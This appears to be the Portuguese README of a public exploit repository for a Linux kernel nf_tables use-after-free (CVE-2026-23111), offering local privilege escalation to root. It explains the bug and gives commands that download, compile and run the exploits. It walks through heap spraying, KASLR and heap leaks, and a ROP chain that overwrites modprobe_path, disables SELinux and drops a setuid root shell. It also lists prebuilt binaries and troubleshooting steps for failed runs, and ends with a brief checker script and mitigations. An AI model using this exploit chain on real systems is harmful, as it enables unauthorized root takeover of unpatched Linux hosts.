
Use-After-Free no nf_tables do Kernel Linux (CVE-2026-23111) — PoC LPE
Uso-Após-Liberação (Use-After-Free) no nf_tables do Kernel Linux (Escalação Local de Privilégios) poc por baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Faixa de Versão | Corrigido Em |
|---|---|
| 6.19-rc1 a 6.19-rc8 | 6.19-rc9+ |
| 6.13 a 6.18.9 | 6.18.10 |
| 6.7 a 6.12.69 | 6.12.70 |
| 6.4.1 a 6.5.x | EOL (sem correção estável) |
| 6.3.10 a 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 a 6.1.162 | 6.1.163 |
| 5.15.121 a 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Vários LTS |
CVE-2026-23111 é um uso-após-liberação no nf_tables causado por uma verificação invertida de máscara de geração em nft_map_catchall_activate(). Durante o rollback de uma transação falhada, elementos de mapa de veredito catchall que foram desativados por NFT_MSG_DELSET devem ser reativados para que referências como referências de cadeia NFT_GOTO sejam restauradas. O caminho de ativação catchall, em vez disso, pulou elementos inativos e processou os ativos, deixando elementos catchall desativados não restaurados.
A lógica de ativação não-catchall correta é:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* skip active, process inactive */
O caminho catchall vulnerável usou a condição oposta:
if (!nft_set_elem_active(ext, genmask))
continue; /* skip inactive, process active */
Quando um mapa de veredito pipapo excluído é revertido, isso impede que nft_setelem_data_activate() seja executado para o elemento catchall inativo. Para dados de veredito NFT_JUMP/NFT_GOTO, a referência de cadeia obtida por nft_data_hold() não é restaurada. Repetir a sequência aborto/alternar/excluir pode levar chain->use a zero enquanto outra regra ainda contém uma referência de veredito válida para a cadeia. Um DELCHAIN posterior pode então liberar a cadeia enquanto ela permanece acessível, criando o UAF.
Criar tabela, cadeia base, cadeia vítima e mapa de veredito pipapo com catchall NFT_GOTO -> vítima
|
Lote 1: excluir o conjunto pipapo, depois forçar um erro de transação
|
O caminho de aborto chama nft_map_catchall_activate(), mas a verificação invertida pula o catchall inativo
|
O catchall permanece inativo e a contagem de referência da cadeia vítima não é restaurada
|
Lote 2: confirmar uma transação benigna para alternar o cursor de geração
|
Lote 3: excluir o conjunto pipapo com sucesso, decrementando novamente a referência da cadeia vítima
|
Lote 4: excluir a cadeia vítima enquanto o veredito da cadeia base ainda a referencia
|
Uso-após-liberação quando a avaliação de pacotes ou a descarga de regras segue a referência de veredito pendente
A correção upstream é remover a negação para que nft_map_catchall_activate() corresponda a nft_mapelem_activate(): elementos ativos são ignorados, elementos inativos são reativados e referências de veredito/objeto são restauradas durante o tratamento de aborto.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Use esta se o PoC completo/v1 falhar no kernel alvo.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Instale as dependências de compilação primeiro se o compilador não conseguir encontrar os cabeçalhos libmnl/libmnl.h ou libnftnl:
scripts/install-build-deps.sh
# or
make deps
make # Compilar exploit (apenas PoC)
make v2 # Compilar exploit v2 (abordagem FuzzingLabs — tente quando v1 falhar)
make full # Compilar exploit LPE completo
make v3 # Compilar variante v3 calibrada de caminho de avaliação
make run-d # Executar PoC com saída de depuração
make run-v2-d # Executar v2 com saída de depuração
make run-v3 # Mostrar uso/ajuda da v3
make run-full # Executar LPE completo
Cria um conjunto de mapa pipapo com um elemento catchall (goto cadeia vítima), em seguida, usa o bug de genmask invertido durante um aborto de DELSET para corromper chain->use. Após avançar o contador de geração, DELCHAIN é bem-sucedido apesar das referências pendentes, liberando a cadeia.
Após o UAF, a memória chain->name é liberada. Pulverizamos estruturas seq_operations (32 bytes) abrindo /proc/self/stat para recuperar o slot de cache slab liberado. Ler de volta a regra de veredito imediata da cadeia base via NFT_MSG_GETRULE despeja o nome da cadeia recuperada, vazando ponteiros de função do kernel. A validação de ponteiro garante que apenas endereços canônicos de texto do kernel sejam aceitos.
Reaciona o UAF com um nome de cadeia mais longo (140 bytes → kmalloc-cg-192), em seguida, pulveriza objetos nft_rule para recuperar a memória. Os ponteiros list_head vazados revelam endereços heap na região de mapa direto.
nft_expr_ops e nft_rule_blob falsosblob_gen_0 da cadeia liberadacommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->eval sequestradoO exploit v2 (exploit_v2.c) usa as técnicas descritas no artigo do FuzzingLabs e pode ser usado quando o PoC v1 falha. Principais diferenças:
init_ipc_ns)init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (ponteiro marcado)
msg_queue + 0xc0 → q_messages.next → endereço heap msg_msg
Cada etapa usa a estrutura de cadeia liberada como uma primitiva de leitura arbitrária:
userdata de tabela (128 bytes) recupera o nft_chain liberado em kmalloc-cg-128,
e um endereço de kernel colocado no deslocamento 0x40 (onde chain->name reside) é
desreferenciado pelo kernel durante despejos de elemento SET_B.
O estágio heap v3 é previsto por deslocamento em vez de uma verdadeira primitiva de leitura arbitrária binário-segura via eval. Calibre o alvo antes de executar a pulverização final:
grep msg_msg /proc/slabinfo
# Cruze referência com a densidade de objetos kmalloc-cg-2048, depois execute com:
./exploit_v3 --msg-msg-addr 0xffff...
# ou, quando o valor é conhecido em relação à base do kernel vazada:
./exploit_v3 --msg-msg-delta 0x...
Verifique os deslocamentos da estrutura nftables em relação à compilação exata do kernel:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
A varredura de gadgets usa /proc/kcore; se estiver restrito, extraia gadgets do vmlinux offline e codifique endereços em relação à base do kernel vazada. O caminho de avaliação de pacote v3 usa push rdi; pop rsp porque rdi = expr; isso difere do caminho de validação v2, onde rsi = expr.
push rdi; pop rsp; pop rbp; ret ← pivô de pilha (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ escrever modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ desabilitar SELinux
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ manter kernel vivo
O script /tmp/pe é executado como root quando o kernel invoca modprobe_path após encontrar um formato binário desconhecido. Ele cria um shell root setuid em /tmp/rootbash.
NFT_MSG_GETELEM (caminho de código do kernel diferente) em vez de NFT_MSG_GETRULEinit_ipc_ns para percorrer estruturas de dados do kernel em vez de pulverizar objetos nft_rulemsg_msg-2k (buffer grande e estável) em vez de nft_rules + userdata de tabela para o payload ROPmodprobe_path (funciona sem swapgs/iretq) em vez de commit_creds + troca de namespaceSLAB_RANDOM/endurecimento: a cadeia init_ipc_ns do v2 visa um global estável, tornando o layout heap menos críticoEm nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // BUG: deveria ser sem '!'
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
O ! faz com que a função pule elementos INATIVOS em vez de processá-los. Durante o aborto de transação, o elemento catchall (que acabou de ser desativado por DELSET) é pulado, então nft_data_hold() nunca é chamado para restaurar o contador de referência da cadeia.
├── CVE-2026-23111-checker.py Script de detecção de vulnerabilidade (--detailed, --json)
├── exploit.c Exploit PoC (UAF + vazamento KASLR + vazamento heap)
├── exploit_v2.c Exploit v2 (abordagem FuzzingLabs — tente quando v1 falhar)
├── exploit_full.c Exploit LPE completo (UAF + vazamentos + cadeia ROP)
├── exploit_full_aarch64 Binário aarch64 pré-compilado (estático)
├── exploit_full.b64 Binário de exploit completo codificado em Base64
├── Makefile Configuração de compilação
└── README.md Este arquivo
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # PoC com ASan
make debug-full # Exploit completo com ASan
O verificador realiza vários métodos de detecção:
nf_tables está carregadoCONFIG_NF_TABLES de /proc/config.gz ou /boot/config-*nft_map_catchall_activate em /proc/kallsymskernel.unprivileged_userns_clonepython3 CVE-2026-23111-checker.py --detailed # Legível por humanos com mitigações
python3 CVE-2026-23111-checker.py --json # JSON legível por máquina
sysctl kernel.unprivileged_userns_clone=0nf_tables na lista negra se não for necessário:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| Componente | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| Acionamento UAF | Conjunto único + regra goto imediata | Dois conjuntos (estilo FuzzingLabs) + regra de busca |
| Leitura de retorno KASLR | NFT_MSG_GETRULE (despejo de regra) | NFT_MSG_GETELEM (despejo de elemento) + fallback GETRULE |
| Vazamento heap | pulverização nft_rule + vazamento list_head | cadeia de leitura arbitrária init_ipc_ns |
| Hospedeiro ROP | regras nft + userdata de tabela | msg_msg-2k (mensagem de 2048 bytes) |
| Acionamento de sequestro | Avaliação de pacote em goto imediato | Avaliação de pacote no catchall de conjunto sobrevivente |
| Escalação de privilégios | commit_creds + switch_task_namespaces | substituição modprobe_path + desativação SELinux |
| Caminho de retorno | swapgs; iretq | msleep() (permanece no kernel) |
| Problema | Solução |
|---|
mnl_socket_open: No such file or directory | Certifique-se de que o módulo nf_tables está carregado: modprobe nf_tables |
unshare: Operation not permitted | Requer namespaces de usuário não privilegiados. Verifique kernel.unprivileged_userns_clone=1 |
Lote A não abortou | O kernel pode estar corrigido ou o comportamento do genmask difere |
Nenhum ponteiro do kernel vazado | O endurecimento KASLR ou SLAB_RANDOM pode estar em vigor; tente várias execuções |
Nenhum ponteiro heap encontrado | A taxa de colisão da pulverização heap é probabilística; tente novamente ou aumente a contagem de pulverização |
Compilação: nf_tables.h: No such file | Instale os cabeçalhos do kernel: apt install linux-headers-$(uname -r) |
Erro de link: referência indefinida para mnl_* | A ordem de link importa: -lnftnl -lmnl (nftnl antes de mnl) |